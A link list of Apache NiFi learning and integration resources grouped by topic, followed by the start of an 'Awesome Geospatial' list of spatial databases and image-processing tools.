* https://www.datainmotion.dev/2020/07/report-on-this-apache-nifi-1114-monitor.html
# Use Cases and Examples
* Retail Price Comparisons https://github.com/tspannhw/retail-dynamic-shelf-pricing/tree/main
* Sensors https://github.com/tspannhw/meetup-sensors
* Twitter to Cloud https://github.com/tspannhw/ClouderaNow2020
* Airline Sentiment https://github.com/tspannhw/airline-sentiment-streaming
* NiFi + Kafka Connect Pipeline HDFS https://github.com/tspannhw/NiFItoKafkaConnect
* Send Messages to Discord Channels https://github.com/tspannhw/NiFiToDiscord
* Capture Data to SOLR Search Indexes https://github.com/tspannhw/nifi-solr-example
* Post to Slack https://github.com/tspannhw/nifi-1.10-templates
* Hosting a Website in NiFi https://github.com/tspannhw/webdataingest
* Ingest/Export to Cloud Data Warehouse https://github.com/tspannhw/clouddatawarehouse
* Several use cases https://github.com/tspannhw/ApacheNiFiByExamples
* Hortonworks Gallery https://github.com/hortonworks-gallery/nifi-templates
* Apache Examples https://cwiki.apache.org/confluence/display/NIFI/Example+Dataflow+Templates
* Cryptocurrency https://github.com/tspannhw/nifi-flows
* Energy Monitoring https://github.com/tspannhw/nifi-energy-monitoring
* Leprechaun Detector https://github.com/tspannhw/leprechaun-detector
* More Examples https://www.batchiq.com/nifi-flow-examples.html
* Email Extraction https://github.com/MikeThomsen/nifi-email-extraction-bundle
* Data Generation https://github.com/MikeThomsen/nifi-datageneration-bundle
* SQL Server and Kerberos https://www.exabeam.com/information-security/apache-nifi-sql-server-and-kerberos-authentication/
* Files and Netflow https://www.exabeam.com/siem/apache-nifi-ingest-syslog-data/
* MySQL to SYSLOG https://www.exabeam.com/siem/apache-nifi-send-from-mysql-to-syslog/
* https://yauaa.basjes.nl/UDF-ApacheNifi.html
# Sources & Sinks
* HBase/Phoenix https://www.datainmotion.dev/2020/07/phoenix-hbase-nifi-resources.html
* Operational Database https://www.cloudera.com/tutorials/cdp-cod-phoenix-sql-using-hbase-nifi-kafka.html
* REST https://www.datainmotion.dev/2020/07/ingesting-all-weather-data-with-apache.html
* REST https://dev.to/tspannhw/cloudera-flow-management-101-let-s-build-a-simple-rest-ingest-to-cloud-datawarehouse-with-lowcode-powered-by-apache-nifi-2275
* Search https://dev.to/tspannhw/building-search-indexes-with-apache-nifi-streams-2ea7
* Twitter https://dev.to/tspannhw/harnessing-the-data-lifecycle-for-customer-experience-optimization-streaming-classifications-on-twitter-streams-2p0f
* Impala, Kudu, Kafka https://dev.to/tspannhw/read-apache-impala-apache-kudu-tables-and-send-to-apache-kafka-in-bulk-easily-with-apache-nifi-4n3g
* Google Analytics API https://dev.to/tspannhw/quicktip-ingesting-google-analytics-api-with-apache-nifi-mg1
* Image Upload / Slack https://dev.to/tspannhw/nifi-1-10-postslack-easy-image-upload-22mh
* Hive / ORC https://dev.to/tspannhw/using-grovepi-with-raspberry-pi-and-minifi-agents-for-data-ingest-to-parquet-kudu-orc-kafka-hive-and-impala-2h9k
* REST / Monitoring https://dev.to/tspannhw/monitoring-cloudera-edge-flow-manager-and-cloudera-streams-messaging-manager-with-apache-nifi-387k
* Generate JSON https://dev.to/tspannhw/generating-json-data-in-apache-nifi-4apo
* Kafka, REST for Stocks https://community.cloudera.com/t5/Community-Articles/Real-Time-Stock-Processing-With-Apache-NiFi-and-Apache-Kafka/ta-p/249221
* MongoDB https://community.cloudera.com/t5/Community-Articles/Exporting-and-Importing-Data-from-MongoDB-in-the-Cloud-with/ta-p/249470
* PowerPoint https://community.cloudera.com/t5/Community-Articles/Converting-PowerPoint-Presentations-into-French-from-English/ta-p/248974
* Documents to HDFS https://community.cloudera.com/t5/Community-Articles/Scanning-Documents-into-Data-Lakes-via-Tesseract-MQTT-Python/ta-p/248492
* Flight Data https://community.cloudera.com/t5/Community-Articles/Ingesting-Flight-Data-ADS-B-USB-Receiver-with-Apache-NiFi-1/ta-p/247940
* Street Cameras https://community.cloudera.com/t5/Community-Articles/Ingesting-and-Analyzing-Street-Camera-Data-from-Major-US/ta-p/249194
* Logs https://github.com/tspannhw/nifi-logs
* Beacons, BLE https://github.com/tspannhw/minifi-estimote
* Deep Speech https://github.com/tspannhw/nifi-deepspeech
* Syslog https://www.exabeam.com/siem/apache-nifi-ingest-syslog-data/
* IBM Event Streams https://www.ibm.com/cloud/blog/connecting-ibm-event-streams-to-apache-nifi
* Mark Logic JDBC https://www.marklogic.com/blog/apache-nifi-quickstart/
* Microsoft Teams https://aussie.nifi.ninja/blog/
* Office 365 https://github.com/pontus-vision/pontus-nifi-processors-office365
# NiFi Stateless
* https://dev.to/tspannhw/exploring-apache-nifi-1-10-parameters-and-stateless-engine-44n4
* Example with Kafka https://github.com/tspannhw/stateless-examples
* https://blog.cloudera.com/paving-the-pathway-to-cloudera-data-platform-with-cloudera-dataflow/
# Machine Learning, Deep Learning, AI
* https://dev.to/tspannhw/easy-deep-learning-in-apache-nifi-with-djl-2d79
* https://dev.to/tspannhw/tracking-air-quality-with-apache-nifi-cloudera-data-science-workbench-pyspark-and-parquet-28c
* https://dev.to/tspannhw/updating-machine-learning-models-at-the-edge-with-apache-nifi-and-minifi-3ama
* https://community.cloudera.com/t5/Community-Articles/Using-Apache-NiFi-with-Apache-MXNet-GluonCV-for-YOLO-3-Deep/ta-p/248979?es_id=10e1da1507
* https://community.cloudera.com/t5/Community-Articles/Apache-NiFi-Processor-for-Apache-MXNet-SSD-Single-Shot/ta-p/249240
* https://community.cloudera.com/t5/Community-Articles/Apache-Deep-Learning-101-Processing-Apache-MXNet-Model/ta-p/247944
* https://community.cloudera.com/t5/Community-Articles/Detecting-Language-with-Apache-NiFi/ta-p/248424
* https://community.cloudera.com/t5/Community-Articles/Steganography-with-Apache-NiFi/ta-p/244728
* Model Servers https://community.cloudera.com/t5/Community-Articles/Using-the-new-MXNet-Model-Server-with-Apache-NiFi/ta-p/247555
* https://github.com/tspannhw/OpenSourceComputerVision
* https://github.com/tspannhw/ApacheDeepLearning202
* https://github.com/tspannhw/DWS2019Barcelona
* https://github.com/tspannhw/ApacheDeepLearning101
* https://community.cloudera.com/t5/Community-Articles/Open-NLP-Example-Apache-NiFi-Processor/ta-p/249293
# Best Practices
* https://dev.to/tspannhw/no-more-spaghetti-flows-2emd
* https://dev.to/tspannhw/apache-nifi-load-balancing-via-load-balanced-connections-593m
* https://www.datainmotion.dev/2019/06/performance-testing-apache-nifi-part-1.html
* http://lonnifi.blogspot.com/2019/11/back-pressure-prediction-deep-dive.html
* https://community.cloudera.com/t5/Community-Articles/HDF-CFM-NIFI-Best-practices-for-setting-up-a-high/ta-p/244999
# Tutorials
* https://www.cloudera.com/tutorials/analyze-transit-patterns-with-apache-nifi.html
# How To
* Connect to Atlas https://dev.to/tspannhw/connecting-apache-nifi-to-apache-atlas-for-data-governance-at-scale-in-streaming-f5n
* sFTP https://community.cloudera.com/t5/Community-Articles/How-to-Retrieve-files-from-a-SFTP-server-using-NiFi-GetSFTP/ta-p/245430?search-action-id=37601510770&search-result-uid=245430
# Integration Testing
* https://www.datainmotion.dev/2019/04/integration-testing-for-apache-nifi.html
*
# IoT, Devices, MQTT, Sensors
* https://dev.to/tspannhw/predicting-sensor-readings-with-time-series-machine-learning-3ngc
* https://dev.to/tspannhw/edgeai-google-coral-with-coral-environmental-sensors-and-tpu-with-nifi-and-minifi-updated-efm-oh9
* https://dev.to/tspannhw/analyzing-wood-burning-stoves-with-flank-stack-minifi-flink-nifi-kafka-kudu-36on
* https://github.com/tspannhw/IoTFusion2018Talk
# Administration,CLI, REST, Management, DevOps, CI/CD, Security
* https://bryanbende.com/development/2017/10/03/apache-nifi-openid-connect
* https://dev.to/tspannhw/apache-nifi-and-nifi-registry-administration-3c92
* https://dev.to/tspannhw/using-nifi-cli-to-restore-nifi-flows-from-backups-18p9
* https://dev.to/tspannhw/nifi-toolkit-cli-for-nifi-1-10-213h
* https://dev.to/tspannhw/backup-and-restore-nifi-registry-templates-14m
* https://nipyapi.readthedocs.io/en/latest/
* https://community.cloudera.com/t5/Community-Articles/How-to-create-user-generated-keys-for-securing-NiFi/ta-p/245551
* https://github.com/tspannhw/BackupRegistry
* https://community.cloudera.com/t5/Community-Articles/DevOps-Tips-Using-the-Apache-NiFi-Toolkit-with-Apache-NiFI-1/ta-p/248376
* https://community.cloudera.com/t5/Community-Articles/Big-Data-DevOps-Apache-NiFi-Flow-Versioning-and-Automation/ta-p/247976
* https://dzone.com/articles/finding-nifi-errors
* https://community.cloudera.com/t5/Community-Articles/Building-a-Custom-Apache-NiFi-Operations-Dashboard-Part-1/ta-p/249060
# Quick Starts
* https://github.com/apache/kudu/blob/master/examples/quickstart/nifi/README.adoc
* https://nifi.apache.org/docs/nifi-docs/html/getting-started.html
* https://community.cloudera.com/t5/Community-Articles/Launching-a-NiFi-Docker-Instance/ta-p/248197
* https://hub.docker.com/r/apache/nifi/
* https://docs.cloudera.com/cdf-datahub/7.1.0/quick-start-fm/topics/cdf-datahub-fm-cluster-setup-quick-start-overview.html
# Workshops & Crash Courses
* https://github.com/tspannhw/ClouderaFlowManagementWorkshop
* https://github.com/aperepel/nifi-workshop-2019
* https://www.youtube.com/watch?v=fblkgr1PJ0o
* https://github.com/abajwa-hw/masterclass
* https://github.com/simonellistonball/masterclass-hdf
# FLaN(ifi)K
* https://dev.to/tspannhw/introducing-mm-flank-an-apache-flink-stack-for-rapid-streaming-development-from-edge-2-ai-5c12
# Meetups
* https://www.meetup.com/futureofdata-princeton/
* https://www.meetup.com/futureofdata-philadelphia/
# Videos
* https://www.youtube.com/watch?v=IUjz-rhA3xs
* https://www.youtube.com/user/HadoopSummit/videos
* https://www.youtube.com/channel/UCDIDMDfje6jAvNE8DGkJ3_w?view_as=subscriber
* https://www.youtube.com/user/clouderahadoop
* https://www.youtube.com/watch?v=XsL63ZQYmLE
* https://www.youtube.com/watch?v=xsC4cjSBv8k
* https://www.youtube.com/watch?v=TmdROpjVtM4
* https://www.youtube.com/watch?v=IUjz-rhA3xs
* https://www.youtube.com/watch?v=Tt8TSlHu7PE
* https://www.youtube.com/watch?v=QQks0KAvT58
* https://www.youtube.com/watch?v=QWXXaRE1VUI
# Cloud
* https://dev.to/tspannhw/streaming-data-with-cloudera-data-flow-cdf-into-public-cloud-cdp-188b
* https://docs.cloudera.com/cdf-datahub/7.2.0/nifi-hive-ingest/topics/cdf-datahub-nifi-hive-ingest.html
* https://docs.cloudera.com/cdf-datahub/7.2.0/nifi-hive-ingest/topics/cdf-datahub-hive-ingest-service-account.html
* https://docs.cloudera.com/cdf-datahub/7.2.0/nifi-hive-ingest/topics/cdf-datahub-hive-ingest-idbroker-mapping.html
* https://docs.cloudera.com/cdf-datahub/7.2.0/nifi-hive-ingest/topics/cdf-datahub-hive-ingest-data-target.html
* https://www.calculatedsystems.com/post/moving-data-to-the-cloud
* https://medium.com/swlh/operationalising-nifi-on-kubernetes-1a8e0ae16a6c
# Building Custom Processors
* https://community.cloudera.com/t5/Community-Articles/Building-a-Custom-Processor-Using-IntelliJ/ta-p/244343
* https://community.hortonworks.com/content/kbentry/116803/building-a-custom-processor-in-apache-nifi-12-for.html
* https://github.com/alopresto/nifi-byop-dws
* https://github.com/DevWorxCo/nifi-starter
* https://github.com/influxdata/nifi-influxdb-bundle
# Custom Processors
* https://github.com/All-of-Us-Research-Program/nifi-fhir-processor
* https://github.com/1904labs/nifi-standardize-date-bundle
* https://github.com/bbende/nifi-dependency-example
* https://github.com/tspannhw/ExecuteClouderaML
* https://github.com/minyk/nifi-headlessbrowser-processor
* https://github.com/tspannhw/nifi-djl-processor
* https://github.com/tspannhw/nifi-tensorflow-processor
* https://github.com/tspannhw/nifi-mxnetinference-processor
* https://github.com/tspannhw/nifi-extracttext-processor
* https://github.com/tspannhw/nifi-langdetect-processor
* https://github.com/tspannhw/nifi-attributecleaner-processor
* https://github.com/tspannhw/nifi-convertjsontoddl-processor
* https://github.com/tspannhw/nifi-postimage-processor
* https://github.com/tspannhw/GetWebCamera
* https://github.com/tspannhw/nifi-imageextractor-processor
* https://github.com/tspannhw/nifi-puttwitter-processor
* https://github.com/tspannhw/nifi-tensorflow-processor
* https://github.com/simonellistonball/nifi-OpenCV
* https://github.com/jdye64/nifi-openalpr
* https://github.com/AnkurJais/nifi-bigquery-custom-processor
* https://github.com/dDMarley/nifi-custom-processors
* https://github.com/myagmurs/bitmapprocessor
* https://github.com/linksmart/nifi-customlistentcp-processor
* https://github.com/andrewpalumbo/nifi-processors
* https://github.com/ligaroba/apache-nifi-smpp-processor
* https://github.com/shekhar-kotekar/nifi-word-count-custom-processor
* https://github.com/philenius/sum-json-array-of-numbers-custom-nifi-processor
* https://github.com/bongye/nifi-bitcoin
* https://github.com/ahmednaggar19/nifi-custom-processor-count-record-attribute
* https://github.com/PPcraft/iec104-bundle
* https://github.com/A-Hussien2011/ConvertJsonToHQL
* https://github.com/gudiseva/nifi-kafka-timestamp
* https://github.com/davidglevy/example-nifi-csv-cleaner
* https://github.com/kai5263499/nifi-binarygrpc
* https://github.com/adammichalsky/Hana-Custom-Processor
* https://github.com/cukuzz/nifi-custom-hdfs-processors-example
* https://github.com/jdye64/nifi-addons
* https://github.com/apsaltis/nifi-soap
* https://github.com/jdye64/nifi-gpiorest
* https://github.com/everwatchsolutions/aces-nifi-processors-bundle
* https://github.com/swiftops/nifi-infinispan-processor
* https://github.com/franziska-w/nifi-custom-processor
* https://github.com/wahid18benz/Apache-NiFi-Custom-Processor
* https://github.com/laurencedaluz/nifi-satori-bundle
* https://github.com/mataram/Nifi-NSQ-Consumer
* https://github.com/ORION6194/ApacheNifi-CustomProcessors
* https://github.com/bpenelli/nifi-bpenelli-bundle-1.8.0
* https://github.com/simonellistonball/PiWiNiFi
* https://github.com/tspannhw/nifi-corenlp-processor
* https://github.com/nagarajjayakumar/nifi-hana-custom-processor
* https://github.com/tspannhw/nifi-extracttext-processor
* https://github.com/tspannhw/nifi-nlp-processor
* https://github.com/dormstd/nifi-CKANProcessorBundle
* https://community.cloudera.com/t5/Community-Articles/Apache-NiFi-Processor-Building-a-SQL-DDL-Schema-From-A-JSON/ta-p/247989
* https://github.com/iss-lab/nifi-stanfordcorenlp-processor
* https://github.com/tspannhw/nifi-puttwitter-processor
* https://github.com/compose-ex/nifi-compose-bundle
* https://github.com/BRGM/Nifi-WKB-to-WKT-processor
* https://github.com/nagarajjayakumar/nifi-hana-custom-processor
* https://github.com/dvas0004/nifi-loadbalancer
* https://github.com/dvas0004/nifi-webscraper
# Migrate Flume Flows to NiFi
## JMS, RDBMS, Kafka, Syslog, Twitter, Parquet, Kudu, Hive, HDFS, REST
* https://dev.to/tspannhw/migrating-apache-flume-flows-to-apache-nifi-jms-to-x-and-x-to-jms-1g02
* https://dev.to/tspannhw/migrating-apache-flume-flows-to-apache-nifi-any-relational-database-to-from-anywhere-45d1
* https://dev.to/tspannhw/migrating-apache-flume-flows-to-apache-nifi-kafka-source-to-http-rest-sink-and-http-rest-source-to-kafka-sink-1257
* https://dev.to/tspannhw/migrating-apache-flume-flows-to-apache-nifi-syslog-to-kafka-3a1k
* https://dev.to/tspannhw/migrating-apache-flume-flows-to-apache-nifi-twitter-source-to-kafka-sink-31d1
* https://dev.to/tspannhw/migrating-apache-flume-flows-to-apache-nifi-kafka-source-to-apache-parquet-on-hdfs-1npb
* https://dev.to/tspannhw/migrating-apache-flume-flows-to-apache-nifi-kafka-source-to-hdfs-kudu-file-hive-55gj
* Templates https://github.com/tspannhw/flume-to-nifi
# FDLC, SDLC, DevOps, Backup, Restore, Migration, CI/CD
* https://www.datainmotion.dev/2019/03/apache-nifi-operations-and-monitoring.html
* https://community.cloudera.com/t5/Community-Articles/How-to-import-a-flow-to-Nifi-registry-in-CDP-Cloud/ta-p/308335
* https://www.datainmotion.dev/2020/09/devops-working-with-parameter-contexts.html
* https://www.datainmotion.dev/2020/10/automating-building-migration-backup.html
* https://www.datainmotion.dev/2020/08/deleting-schemas-from-cloudera-schema.html
* https://www.datainmotion.dev/2019/09/backup-and-restore-nifi-registry.html
* https://www.datainmotion.dev/2019/04/simple-apache-nifi-operations-dashboard.html
* https://www.youtube.com/watch?v=yKmVBTeZS4c
* https://medium.com/@abdelkrim.hadjidj/fdlc-towards-flow-development-life-cycle-with-nifi-registries-82e1ee866fab
* https://pierrevillard.com/2018/04/09/automate-workflow-deployment-in-apache-nifi-with-the-nifi-registry/
* https://community.cloudera.com/t5/Community-Articles/NiFi-SDLC-Automation-in-Python-with-NiPyApi-Part-1/ta-p/247693
* https://github.com/Chaffelson/nipyapi
* https://docs.cloudera.com/cfm/2.0.4/cfm-getting-started/topics/cfm-gs-overview.html
* https://leanjavaengineering.wordpress.com/2018/07/26/quick-tip-using-git-with-nifi-registry-in-docker/
* https://github.com/michalklempa/docker-nifi-registry
* https://github.com/steven-matison/NiFi-Templates
* https://github.com/tspannhw/BackupRegistry
* https://github.com/itarano/nifi-pre-pro-registry
* https://github.com/erdrix/nigoapi
* https://blog.cloudera.com/cloudera-flow-management-continuous-delivery-while-minimizing-downtime/
* https://github.com/alopresto/slides
* https://bryanbende.com/development/2017/05/10/apache-nifi-1-2-0-component-versioning
* https://www.infoq.com/presentations/secure-iot-apache-minifi/
* https://biconsulting.hu/letoltes/2020/2020budapestdata/D1_Daniel_Chaffelson_Cloudera.pdf
# NiFi Notes
* https://www.javahotchocolate.com/notes/nifi.html
* https://martin.atlassian.net/wiki/spaces/lestermartin/pages/740196355/NiFi+Cheat+Sheet
# Webinars
* https://www.brighttalk.com/webcast/18452/479025/demo-jam-live-create-data-flows-with-apache-nifi
* https://www.brighttalk.com/webcast/15417/354772
*
# Integrations
* https://www.stardog.com/labs/blog/stardog-data-flow-automation-with-nifi/
* https://hackernoon.com/data-ingestion-using-apache-nifi-for-building-data-lake-using-twitter-data-1f3d3da6fe1d
# CDP Public Cloud, AWS, Azure, GCP
* https://community.cloudera.com/t5/Community-Articles/How-to-use-NiFi-to-write-API-data-to-CDP-CDW/ta-p/306770
* https://www.datainmotion.dev/2020/04/streaming-data-with-cloudera-data-flow.html
* https://www.datainmotion.dev/2020/07/flank-in-cloud-huge-cloudera-data.html
* https://www.datainmotion.dev/2020/12/new-release-for-hdf-352-and-cloudera.html
* https://www.datainmotion.dev/2020/04/streaming-data-with-cloudera-data-flow.html
* https://docs.cloudera.com/cdf-datahub/7.2.2/nifi-kafka-ingest/topics/cdf-datahub-fm-kafka-ingest-overview.html
* https://docs.cloudera.com/cdf-datahub/7.2.2/nifi-hive-ingest/topics/cdf-datahub-nifi-hive-ingest.html
* https://docs.cloudera.com/cdf-datahub/7.2.2/nifi-hbase-ingest/topics/cdf-datahub-nifi-hbase-ingest.html
* https://docs.cloudera.com/cdf-datahub/7.2.2/nifi-kudu-ingest/topics/cdf-datahub-nifi-kudu-ingest.html
* https://docs.cloudera.com/cdf-datahub/7.2.2/nifi-azure-ingest/topics/cdf-datahub-fm-adls-ingest-overview.html
* https://docs.cloudera.com/cfm/2.0.4/site-to-site/topics/cdf-datahub-site-to-site.html
* https://docs.cloudera.com/cdf-datahub/7.2.2/nifi-aws-ingest/topics/cdf-datahub-fm-s3-ingest-overview.html
* https://docs.cloudera.com/cdf-datahub/7.2.6/planning-your-flow-management-deployment/topics/cdf-datahub-fm-cluster-layout.html
* https://medium.datadriveninvestor.com/how-to-build-a-simple-data-flow-with-apache-nifi-1ef3b25fe2c4
# MemSQL
* https://www.youtube.com/watch?v=Jnz-a_wCYp4
* https://medium.com/@moha.ajori/using-apache-nifi-to-load-tweets-from-twitter-api-to-memsql-19e19a3be20e
# GreenPlum DB
* https://www.cdata.com/kb/tech/greenplum-jdbc-apache-nifi.rst
* https://github.com/DanielePalaia/gpss-nifi
# Teradata
* https://www.cdata.com/kb/tech/teradata-jdbc-apache-nifi.rst
* https://community.cloudera.com/t5/Community-Articles/Using-Teradata-JDBC-connector-in-NiFi/ta-p/246783
# Microsoft SQL Server (MS SQL)
* https://community.cloudera.com/t5/Support-Questions/Nifi-Connection-to-MSSQL-server-DB/td-p/95642
* https://www.cdata.com/kb/tech/sql-jdbc-apache-nifi.rst
* https://nathanlabadie.com/apache-nifi-ms-sql-and-kerberos-authentication/
* https://gist.github.com/ijokarumawak/42c257afb5e80361e502564085d7999e
* https://medium.com/@danielyahn/nifi-ms-sql-integrated-security-9efc184872db
* https://rapidminernotes.blogspot.com/2018/01/populating-sql-server-from-apache-nifi.html
# Oracle
* https://www.cdata.com/kb/tech/oracledb-jdbc-apache-nifi.rst
* https://www.progress.com/blogs/tutorial-access-data-via-jdbc-with-apache-nifi
* https://www.youtube.com/watch?v=XsL63ZQYmLE
* https://www.youtube.com/watch?v=qsIJFcQYp2E
* John Kuchmek at ApacheCon 2020 Incrementally Streaming from Oracle -> https://www.youtube.com/watch?v=nPewLy7Zjkg&list=PLlmpIaH7URGXYTdiHhlYbSkAO_B_RDDn0&index=28
# S3 Data Indexing
* https://blog.cloudera.com/how-to-index-data-from-s3-via-nifi-using-cdp-data-hubs/
# Cloud
* https://www.batchiq.com/nifi-process-s3-event-notifications.html
* https://gist.github.com/jvwing
* https://www.batchiq.com/process-cloudtrail-events-with-nifi.html
* https://www.batchiq.com/s3-ingest-with-nifi.html
* https://www.batchiq.com/database-extract-with-nifi.html
* https://www.batchiq.com/database-ingest-with-nifi.html
# CDC / Database
* https://community.cloudera.com/t5/Community-Articles/Incremental-Fetch-in-NiFi-with-QueryDatabaseTable/ta-p/247073
* https://community.cloudera.com/t5/Community-Articles/Change-Data-Capture-CDC-with-Apache-NiFi-Part-1-of-3/ta-p/246623
* https://github.com/edufer/nifi-cdc-sqlserver
* https://dev.to/tspannhw/simple-change-data-capture-cdc-with-sql-selects-via-apache-nifi-flank-19m4
* https://nifi.apache.org/docs/nifi-docs/components/org.apache.nifi/nifi-cdc-mysql-nar/1.13.2/org.apache.nifi.cdc.mysql.processors.CaptureChangeMySQL/
* https://www.linkedin.com/pulse/achieving-incremental-fetch-change-data-capture-via-apache-rajpal/
* https://community.cloudera.com/t5/Community-Articles/PutHive3Streaming-to-do-Basic-CDC-with-NiFi/ta-p/249187
* https://community.cloudera.com/t5/Community-Articles/Simple-Change-Data-Capture-CDC-with-SQL-Selects-via-Apache/ta-p/308376
* https://community.cloudera.com/t5/Community-Articles/Basic-CDC-on-SAP-HANA-using-Apache-NIFI/ta-p/249323
* https://www.qlik.com/us/data-management/nifi
* https://www.marklogic.com/blog/apache-nifi-quickstart/
* https://www.vertica.com/kb/NifiCG/Content/Partner/NifiCG.htm
* https://community.cloudera.com/t5/Community-Articles/Incrementally-Streaming-RDBMS-Data-to-Your-Hadoop-DataLake/ta-p/247927
* https://www.batchiq.com/nifi-flow-examples.html
* https://blog.pythian.com/database-migration-using-apache-nifi/
* https://www.datainmotion.dev/2019/04/oracle-golden-gate-to-apache-kafka-to.html
* https://github.com/anair-it/nifi-docker
* https://medium.com/trendyol-tech/using-apache-nifi-for-migrating-data-fe1c224c7b16
# Provenance Checking
Quick Tips: check nifi security policy on provenance, check configuration for repo-type, check for available disk space, unsynced time, restart all servers.
Configuration: nifi.provenance.repository.max.storage.time
* https://javasupportzone.blogspot.com/2019/07/possible-reasons-for-processors-data.html
* https://community.cloudera.com/t5/Support-Questions/NiFi-Provenance-Not-Available-in-UI/td-p/179999#:~:text=Re%3A%20NiFi%20Provenance%20Not%20Available%20in%20UI&text=Try%20stopping%20Nifi%20and%20purging,read%2Fwrite%20in%20set%20directory.
* https://stackoverflow.com/questions/41487509/data-provenance-disabled-nifi
# Videos
* https://www.youtube.com/watch?v=RHFkCtbe3kc
# Misc
* https://www.cloudera.com/content/dam/www/marketing/resources/solution-briefs/data-in-motion-philosophy.pdf.landing.html
# Other Languages
* https://apuntandoanulo.com/category/apache-nifi/
# Legacy / Older Editions
* https://github.com/jfrazee/awesome-nifi
* https://dzone.com/articles/apache-nifi-10-cheatsheet
* https://dzone.com/articles/monitoring-for-apache-nifi-17
* https://www.cdata.com/kb/tech/salesforce-jdbc-apache-nifi.rst
* https://github.com/UKHomeOffice/cdp-nifi-processors
* https://github.com/dstreev/nifi-processor-examples
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# Awesome Geospatial [](https://awesome.re)
Long list of geospatial analysis tools. Geospatial analysis, or just spatial analysis, is an approach to applying statistical analysis and other analytic techniques to data which has a geographical or spatial aspect.
- [Awesome Geospatial](#awesome-geospatial)
- [Database](#database)
- [Image Classification & DIP Software](#image-classification--dip-software)
- [Geographic Information System](#geographic-information-system)
- [Web Map Development](#web-map-development)
- [Web Map Server](#web-map-server)
- [Radar](#radar)
- [Lidar](#lidar)
- [3D Application](#3d-application)
- [Geographic Data Mining](#geographic-data-mining)
- [Atmospheric Correction](#atmospheric-correction)
- [Agent-based Modeling](#agent-based-modeling)
- [Landscape Metrics](#landscape-metrics)
- [Landscape Modelling](#landscape-modelling)
- [Libraries](#libraries)
- [PaaS - Platform as a Service](#paas---platform-as-a-service)
- [SaaS - Software as a Service](#saas---software-as-a-service)
- [DaaS - Data as a Service](#daas---data-as-a-service)
- [Google Earth Engine](#google-earth-engine)
- [Deep Learning](#deep-learning)
- [C](#c-1)
- [C++](#c)
- [C Sharp](#c-sharp)
- [Clojure](#clojure)
- [Crystal](#crystal)
- [CSS](#css)
- [Dart](#dart)
- [Delphi](#delphi)
- [Elixir](#elixir)
- [Fortran](#fortran)
- [Go](#go)
- [Groovy](#groovy)
- [Haskell](#haskell)
- [IDL](#idl)
- [Java](#java)
- [JavaScript](#javascript)
- [Julia](#julia)
- [Kotlin](#kotlin)
- [Lisp](#lisp)
- [Lua](#lua)
- [MATLAB](#matlab)
- [Nim](#nim)
- [Perl](#perl)
- [PHP](#php)
- [Python](#python)
- [R](#r)
- [Ruby](#ruby)
- [Rust](#rust)
- [Scala](#scala)
- [Swift](#swift)
- [Mobile Development](#mobile-development)
- [Geospatial Big Data](#geospatial-big-data)
- [Visualization](#visualization)
- [Tools](#tools)
- [Cheat sheets](#cheat-sheets)
- [Data Sources](#data-sources)
- [Resources](#resources)
- [Podcasts](#podcasts)
- [Conferences](#conferences)
- [References](#references-and-other-awesome-lists)
- - -
## Database
* [3D CityDB](http://www.3dcitydb.org/) - A free 3D geo database to store, represent, and manage virtual 3D city models on top of a standard spatial relational database. The database model contains semantically rich, hierarchically structured, multi-scale urban objects facilitating complex GIS modeling and analysis tasks, far beyond visualization.
* [Cloudant](https://cloudant.com/) - IBM noSQL database that supports spatial data (GeoJSON).
* [DB2 Spatial Extender](http://www-03.ibm.com/software/products/en/db2spaext) - Spatial Extender allows you to store, manage, and analyze spatial data in DB2.
* [GeoCouch](https://github.com/couchbase/geocouch) - GeoCouch is a spatial extension for Couchbase and Apache CouchDB.
* [Geopackage](https://www.geopackage.org/) - SQLite spatial extension. More powerful than its older brother Spatialite.
* [H2GIS](https://github.com/orbisgis/h2gis) - A spatial extension of the H2 database.
* [Hastings](https://github.com/cloudant-labs/hastings) - GeoSpatial Search for CouchDB 2
* [Informix Spatial](https://www.ibm.com/docs/en/informix-servers/14.10?topic=guide-getting-started-spatial-data) - Informix spatial extension.
* [Microsoft SQL Server](https://docs.microsoft.com/en-us/sql/relational-databases/spatial/spatial-data-sql-server) - Microsoft SQL/SQL Azure spatial features. All the spatial functionality is also available as a .NET library (can be downloaded using nuget)
* [MobilityDB](https://github.com/ULB-CoDE-WIT/MobilityDB) - An extension to the Postgres database which adds support for temporal and spatio-temporal objects
* [MongoDB](https://www.mongodb.com/) - Also supports GeoJSON and spatial indexes.
* [MySql Spatial](https://dev.mysql.com/doc/refman/8.0/en/spatial-analysis-functions.html) - MySql spatial extension.
* [Neo4j Spatial](https://github.com/neo4j-contrib/spatial) - Library of spatial utilities for Neo4j.
* [Oracle Spatial](http://www.oracle.com/us/products/database/options/spatial/overview/index.html) - Oracle database spatial extension.
* [OrientDB](https://github.com/orientechnologies/orientdb) - OrientDB is an Open Source Multi-Model NoSQL DBMS with the support of Native Graphs, Documents Full-Text, Reactivity, Geo-Spatial and Object Oriented concepts.
* [PgRouting](https://pgrouting.org/) - pgRouting extends the PostGIS / PostgreSQL geospatial database to provide geospatial routing functionality.
* [PostGIS Vector Tile Utils](https://github.com/mapbox/postgis-vt-util) - A set of PostgreSQL functions that are useful when creating vector tile sources.
* [PostGIS](http://postgis.net/) - PostgreSql spatial extension.
* [Rasdaman](http://www.rasdaman.org/) - Array database that allows storing and querying massive multi-dimensional arrays, such as sensor, image, simulation, and statistics data appearing in domains like earth, space, and life science.
* [SciDB](http://www.paradigm4.com/) - Array database designed for multidimensional data management and analytics common to scientific, geospatial, financial, and industrial applications.
* [Spatialite](http://www.gaia-gis.it/gaia-sins/) - SQLite spatial extension.
* [Teradata Geospatial Feature](https://docs.teradata.com/r/Teradata-VantageTM-Geospatial-Data-Types/March-2019/Geospatial-Data/Geospatial-Information) - Teradata spatial extension for DW and BI.
* [Tile38](https://github.com/tidwall/tile38) - Tile38 is a geospatial database, spatial index, and realtime geofence.
* [TileDB](https://github.com/TileDB-Inc/TileDB) - TileDB is a powerful engine for storing and accessing dense and sparse multi-dimensional arrays, which can help you model any complex data efficiently.
* [yogrt](https://github.com/Anagraph/yogrt) - A simple templating tool for importing GIS data to PostGIS
## Image Classification & DIP Software
* [ArcMap Raster Edit Suite](https://github.com/haoliangyu/ares) - An ArcMap Addin that enables manual editing of single pixels on raster layer.
* [ContextCapture](https://www.bentley.com/software/contextcapture/) - ContextCapture enables you to automatically generate multi-resolution 3D models at any scale and precision.
* [Correlator3D](https://www.simactive.com/correlator3d-mapping-software-features) - High-end photogrammetry suite.
* [Dinamica EGO](http://csr.ufmg.br/dinamica/) - Dinamica EGO consists of a sophisticated platform for environmental modeling.
* [e-Foto](http://www.efoto.eng.uerj.br/en) - Free and open source digital photogrammetric workstation.
